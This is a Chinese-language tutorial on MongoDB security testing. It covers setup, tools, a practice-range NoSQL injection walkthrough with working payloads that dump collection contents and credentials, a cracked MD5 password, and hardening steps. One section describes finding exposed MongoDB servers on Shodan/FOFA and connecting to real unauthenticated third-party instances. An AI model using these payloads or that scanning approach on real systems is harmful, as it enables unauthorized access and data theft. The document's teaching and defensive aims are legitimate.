数据库安全之MongoDB渗透

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所属分类:安全文章

本篇文章是MongoDB数据库信息泄露漏洞复现,记录了实际中常见的MongoDB数据库未授权访问漏洞并如何使用,主要分为七个部分:MongoDB简介、MongoDB安装、MongoDB基本操作、MongoDB相关工具使用、MongoDB漏洞复现、MongoDB实战和MongoDB防御措施。

本篇文章由浅入深地介绍了MongoDB未配置访问认证授权导致的未授权访问漏洞。在学习MongoDB过程中也阅读了几十篇中英文MongoDB相关技术文章,最终按照作者我的思路进行总结,相关参考文章也在文末列出。

此外,文中可能会出现部分错误,望读者指出,谢谢。接着,开始我们的MongoDB数据库渗透学习!!

一、MongoDB基本介绍

MongoDB是一个高性能,开源,无模式的文档型数据库,是一个基于分布式文件存储的数据库,由C++编写。其中的数据以JSON格式文档的形式存储。MongoDB是一个介于关系数据库和非关系数据库之间的产品,是当前 NoSQL 数据库产品中最热门的一种。

NoSQL简介
关系型数据库和非关系型数据库的区别

MongoDB默认端口号:

27017:mongod和mongos实例的默认端口。

27018:设置—shardsvr运行变量或在配置文件里设置clusterRole为shardsvr时的默认端口

术语介绍:

SQL术语/概念 MongoDB术语/概念 解释/说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域
index index 索引

Mongodb中每个数据库含有一个或多个集合collections(相当于table)

Mongodb中每个集合含有一个或多个文档document(相当于数据行)

文档Document是一组键值对,MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大的区别,也是 MongoDB 非常突出的特点。文档简单例子:

{"username":"tom","password":"tom","email":"[email protected]"}

MongoDB自带数据库:

admin:从权限的角度来看,这是”root”数据库。要是将一个用户添加到这个数据库,这个用户自动继承所有数据库的权限。一些特定的服务器端命令也只能从这个数据库运行,比如列出所有的数据库或者关闭服务器。

local:这个数据永远不会被复制,可以用来存储限于本地单台服务器的任意集合

config: 当Mongo用于分片设置时,config数据库在内部使用,用于保存分片的相关信息。

漏洞成因:

MongoDB未配置访问认证授权,无需认证连接数据库后对数据库进行任意操作(未授权访问漏洞),存在严重的数据泄露风险。默认情况下MongoDB安装后,没有账号密码且未开启权限验证。但不同版本的监听地址不同,3.0之前版本默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。

二、软件安装及环境搭建

1、MongoDB安装

MongoDB官网提供了32位、64位的预编译二进制包。选择最新版下载msi即可(截止到写这篇文章的时间,最新版本为4.4.5)

MongoDB下载地址:

https://www.mongodb.com/try/download/community

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下载好后,拖进虚拟机,双击安装

1)选择安装类型

选择Custom自定义安装

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2)修改MongoDB安装路径

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3)服务配置

这里默认即可,Data Directory和Log Directory分别存放数据及日志文件信息

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4)不勾选MongoDB Compass

在默认的安装下,该文件会自动安装。也可以不勾选install MongoDB compass,到官网上去安装。这里留到后面单独装。

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等待片刻即可安装完成,遇到提示选择第一个即可。

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2、MongoDB配置

bin目录结构

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mongod.cfg文件为Windows里的配置文件,在Linux中名字为mongod.conf

设置允许远程连接

mongod.cfg文件中将bindIP地址修改为0.0.0.0,这样外部IP可以连接MongoDB,便于测试

# network interfacesnet:port: 27017bindIp: 0.0.0.0

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配置环境变量

bin目录配置进环境变量C:MongoDBbin

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测试是否配置成功,在cmd下直接输入mongo即可判断

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配置文件启动

目的:将mongodb服务安装到Windows服务中,可以通过net命令进行开启和关闭

首先在C:MongoDB目录下创建一个mongodb.conf文件(这个文件名和文件的路径随意,只要在mongodb目录下就行)

编辑该文件,配置相关信息,修改部分即可

#数据库路径dbpath=c:MongoDBdata#日志输出文件路径logpath=c:MongoDBlogmongodb.log#错误日志采用追加模式,配置这个选项后mongodb的日志会追加到现有的日志文件,而不是从新创建一个新文件logappend=true#启用日志文件,默认启用journal=true#这个选项可以过滤掉一些无用的日志信息,若需要调试使用请设置为falsequiet=false#端口号 默认为27017port=27017

然后在cmd中输入下面命令,命名该服务名为mongodb

mongod --config c:MongoDBmongodb.conf --install --serviceName "mongodb"

验证是否配置成功

net stop mongodbnet start mongodb

参考下文第四点:Windows下图文详解Mongodb安装及配置

3、Kali 下MongoDB安装

1)导入MongoDB密钥

wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -

2)创建文件

echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list

3)更新软件包数据库

sudo apt-get update

4)安装MongoDB软件包

sudo apt-get install -y mongodb-org

4、Kali MongoDB服务配置

1)启动MongoDB服务

sudo systemctl start mongod#查看端口信息netstat -ntulp

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2)检查服务状态

systemctl status mongod

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3)停止MongoDB服务

systemctl stop mongod

4)重启MongoDB服务

systemctl restart mongod

5)设置允许远程连接可在远程访问该库信息

sudo vi /etc/mongod.conf
# 修改bindIP为0.0.0.0
# network interfacesnet:port: 27017bindIp: 0.0.0.0

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6)Kali 卸载MongoDB

删除软件包:

sudo apt-get purge mongodb-org*

可以通过下面命令来查看这些软件包文件,也可以检测是否删除完成

locate monodb-org

删除数据目录:

sudo rm -r /var/log/mongodbsudo rm -r /var/lib/mongodb

三、MongoDB基本操作

1、简单概念

MongoDB ShellMongoDB自带的交互式Javascript shell,用于对MongoDB进行操作和管理的交互式环境。进入到MongoDB shell后,直接在命令行窗口下输入mongo即可(前提是配置了环境变量),进入后默认连接到test(数据库)。由于自带交互式Javascript shell,可以直接在Mongo shell里进行一些简单的计算操作。

> 1+12> 0x10+0x1032

2、基本命令

1)查看数据库列表

show dbs

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2)查看当前数据库

默认登陆后,当前数据库为test

db

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3)创建数据库

use xiguadb

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这里创建的xiguadb数据库并没有显示在dbs中,需要在xiguadb数据库中添加文档即可

4)插入数据

db.xiguadb.insert({"name":"john"})

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插入文档后,dbs中显示了xiguadb数据库 注:这里文档是插入到名为xiguadb的集合中(自动创建的集合)

5)查看集合列表

当前数据库下的所有集合列表

show collectionsshow tables

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在 MongoDB 中,不需要创建集合。当你插入一些文档时,MongoDB 会自动创建集合,一般同数据库名。

6)创建集合

db.createCollection("lanmei")

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7)条件查询

先插入几条文档,在进行条件查询,pretty() 方法以格式化的方式来显示所有文档

db.lanmei.insert({"str":"kkk","id":"001"})db.lanmei.insert({"num":"1234567","id":"002"})
db.lanmei.find({"num":"1234567"}).pretty()

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文档插入后会自动添加一个_id属性,为唯一标识符

8)删除文档

db.lanmei.remove({"str":"kkk"})

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删除键值对为str和kkk的文档

9)删除集合

db.lanmei.drop()

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10)删除数据库

删除目前使用的数据库

db.dropDatabase()

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11)用户登陆

mongo --host 192.168.112.177 --port 27017 -u "mgtest" -p "123.com" --authenticationDatabase "admin"或者mongo -u mgtest -p 123.com localhost:27017/admin

四、MongoDB工具使用

1、MongoDB Compass安装

MongoDB compassMongoDB可视化工具,用于运维(可装可不装)

1)MongoDB Compass下载

在默认的安装下,该文件会自动安装。也可以不勾选install MongoDB compass

到官网上去安装 

下载链接:

https://www.mongodb.com/download-center/compass

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选择最新版下载文件即可(zip、msi均可)

2)MongoDB Compass msi文件安装

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3)MongoDB Compass使用

启动进入程序后,点击Connect连接本地数据库

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连接成功,可以看到本地MongoDB数据库信息

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MongoDB Compass作为官方的一款可视化管理工具,使用体验还是挺不戳的

2、Robo 3T工具

Robo 3T是一款免费、开源的MongoDB可视化管理工具。其前身为Robomongo,后被3T Software Labs收购更名为Robo 3T。

下载地址:

https://robomongo.org/

蓝奏云下载:

https://wwe.lanzoui.com/iV7hXo5baej

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1)安装Robo 3T

下载好后,点击启动安装,默认下一步即可

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2)启动Robo 3T,连接数据库

启动Robo 3T程序,在连接界面选择左上角的Create选项,地址填本地地址及端口,连接进入

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3)查询数据库内容

这里以上面的演示的xiguadb数据库和lanmei集合为例。下图可以看到MongoDB数据库信息结构

db.lanmei.insert({"str":"kkk","id":"001"})db.lanmei.insert({"num":"1234567","id":"002"})

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在查询窗口中输入命令进行查询操作,可自行上手体验。

3、Navicat_MongoDB工具

Navicat for MongoDB 提供高效图形化界面,用于MongoDB 数据库的管理、开发和监控。它能连接本地或远程的 MongoDB服务器。

中文下载地址:

http://www.navicat.com.cn/products/navicat-for-mongodb

英文下载地址:

https://navicat.com/en/products/navicat-for-mongodb

下载好安装程序后,默认下一步安装

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安装路径默认

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进入主页面后,选择连接,选择MongoDB,填连接名mongo(这个名是随意填的)

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之后操作轻松上手

4、NoSQLMap工具

NoSQLMap是一款免费、开源的基于python2的脚本工具,用于审计和自动注入攻击,并利用 NoSQL 数据库和 Web 应用程序中的默认配置弱点,使用 NoSQL 来披露或克隆数据库中的数据。是市面上为数不多的支持MongoDB数据库SQL注入的工具。

项目地址:https://github.com/codingo/NoSQLMap

1)安装

python setup.py install

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2)开启该工具

python nosqlmap.py

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1-设置选项 2-NoSQL数据库访问攻击 3-NoSQL Web应用程序攻击 4-扫描匿名MongoDB访问 5-Change平台(目前:MongoDB) x-Exit

3)简单使用

选择1-设置选项

1-设置目标主机/IP(当前:未设置)2-设置web应用端口(当前为80)3-设置App路径(当前:未设置)4-切换为HTTPS(当前关闭)5-设置MongoDB端口(当前:27017)6-设置HTTP请求方式(GET/POST) (Current: GET)7-设置MongoDB/Shell本地IP(当前:未设置)8-设置shell监听端口(当前:未设置)9-设置详细模式(Current: OFF)0-载入选项文件a-从保存的Burp请求载入选项b-保存选项文件h-设置请求头x-返回主菜单

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这里以上面的mozhe靶场做演示,靶场地址为:

http://219.153.49.228:49818/new_list.php?id=1

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填完相关配置项后,x返回主菜单,选择3NoSQL Web应用攻击

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跑完一圈下来,注入全部失败。。

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上手体验极差,毕竟这个脚本上次更新已经好久了,这款脚本比较鸡肋,还是手动注入行。

五、MongoDB漏洞复现

MongoDB在3版本以后并未出现RCE漏洞,一般的MongoDB漏洞基本上都是信息泄露之类的,所以要RCE还要和其余漏洞进行配合,下面介绍的漏洞也基本上是关于信息泄露的。

1、MSF渗透MongoDB

信息泄露

0x01 简介

MSF中提供了一些用于渗透测试的脚本,输入下面命令查看和mongodb相关的渗透脚本。可以看到MSF中并没有很多关于MongoDB的脚本,唯一一个exploit也是对应2.x版本的MongoDB,现在基本没啥用,图中最有用的就属mongodb_login脚本了,它是一个扫描脚本,用于扫描目标主机是否开启MongoDB服务的27017端口及是否存在未授权访问漏洞

search mongodb

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0x02 脚本使用

以Win 2016上的MongoDB测试,其IP地址为:192.168.112.176,使用脚本mongodb_login,查看选项。

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这个脚本一般就可以用于批量扫描MongoDB服务及未授权访问漏洞,可以进一步结合上面提及到的GUI管理工具(Compass、Robo 3T、Navicat)登陆进MongoDB查看到数据库信息造成信息泄露。

2、MongoDB数据库SQL注入漏洞

信息泄露

0x01 简介

复现地址:

https://www.mozhe.cn/bug/detail/YXlRYUJPYk1vQjAreHlweVAyMzVTUT09bW96aGUmozhe

SQL手工注入漏洞测试(MongoDB数据库),手工进行SQL注入测试,获取管理密码登录。

背景介绍:安全工程师”墨者”最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MongoDB,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

附上源代码截图:

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0x02 渗透过程

1)页面信息

进去靶场后,发现一个通知页面,在地址栏可以看到id参数,很有可能是注入点

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2)引号简单测试

在最后面添加单引号进行测试,页面发生了变化,说明存在SQL注入漏洞

id=1%27

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3)简单分析页面源代码

源代码重要部分:

# 查询语句,这里id值可控且没有经过过滤和限制$query = "var data = db.notice.findOne({'id':'$id'}); return data;";
#打印出数据库中title字段和content字段信息<?php echo $obj['retval']['title'] ?><?php echo $obj['retval']['content'] ?>

4)构造链接测试

id=1'}); return ({title:1,content:'test

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4)爆库名

id=1'}); return ({title:tojson(db),content:'test查询当前库名db返回的是一个数组,回显为array,使用tojson()方法将其转为字符串类型

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5)爆表名

查询当前库的所有集合

id=1'}); return ({title:tojson(db.getCollectionNames()),content:'testgetCollectionNames()以数组形式返回所有集合,需要使用tojson()方法转字符串格式

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直接查询第1个集合名

id=1'}); return ({title:db.getCollectionNames()[0],content:'test

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6)爆字段信息

可以爆出用户名和密码信息

id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'test

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7)MD5解密

MD5加密:a83cd5ad5ed3e1c5597441aaab289f5c解密后 dsansda

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8)远程登陆

Linux:mongo --host 219.153.49.228 -u "mozhe" --authenticationDatabase "mozhe" -p'dsansda'

使用Robo 3T

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填入登陆用户及密码

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登陆后获取Key即可,不过这里始终登不进去,该IP连接不到,这个应该是靶场的问题。

六、MongoDB实战

这部分主要是在网络搜索到一些存在未授权访问漏洞的MongoDB服务,查看到其数据,这部分较敏感,大致演示下即可

1)前往shodan、fofa等网络空间搜索引擎

输入关键字product:”MongoDB”进行搜索

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2)随便看是否存在未授权访问漏洞

在MSF中进行扫描检测(国外的站)

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3)Robo 3T连接未授权访问

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经过多次测试,可以发现目前大部分暴露在网络上的存在未授权访问漏洞MongoDB服务都已经被”上锁”了,对于提升MongoDB的安全性,还需要一些防御措施

七、MongoDB防御措施

1、修改监听地址

在mongod.cfg文件中将监听IP地址改为指定IP或者本地IP(Linux下为mongod.conf文件)

# network interfacesnet:port: 27017bindIp: 127.0.0.1

2、启动基于角色的登录认证功能

MongoDB支持SCRAM、x.509证书认证等多种认证机制,SCRAM(Salted Challenge Response Authentication Mechanism)是3.x版本的默认认证机制,该机制通过用户名、密码验证,基于用户角色进行访问控制。

1)创建系统用户管理员

# 切换至admin数据库下use admin# 创建mgtest用户,密码为123.condb.createUser({user: "mgtest",pwd: "123.com",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]})
# userAdminAnyDatabase: 赋予所有数据库的useradmin权限

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2)在配置文件开启访问认证

对匿名登陆的用户进行权限限制,需要进行认证

vi /etc/mongod.conf
security:authorization: enabled

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重启MongoDB服务

3)系统用户登录

mongo --port 27017 -u "mgtest" -p "123.com" --authenticationDatabase "admin"或者mongo -u mgtest -p 123.com localhost:27017/admin

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远程登陆

mongo --host 192.168.112.177 --port 27017 -u "mgtest" -p "123.com" --authenticationDatabase "admin"

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4)安全性验证

如果这里以普通用户直接登陆,可以登陆进,但是没有权限。

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使用MSF的mongodb_login模块也扫描不到该主机存在未授权访问漏洞

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5)通过db.auth()方法认证

也在连接MongoDB时匿名登陆,连接成功后通过db.auth()方法进行认证

use admindb.auth("mgtest","123.com")

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八、总结

本文介绍了MongoDB的使用、MongoDB注入、未授权访问漏洞及防御措施,在MongoDB3.0以后的版本基本上就只存在未授权访问漏洞一种,并未RCE漏洞,也就是只存在信息泄露的可能,并不像其他数据库可以直接拿shell,在这方面MongoDB的安全性还是偏高的。

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本文始发于微信公众号(FreeBuf):数据库安全之MongoDB渗透

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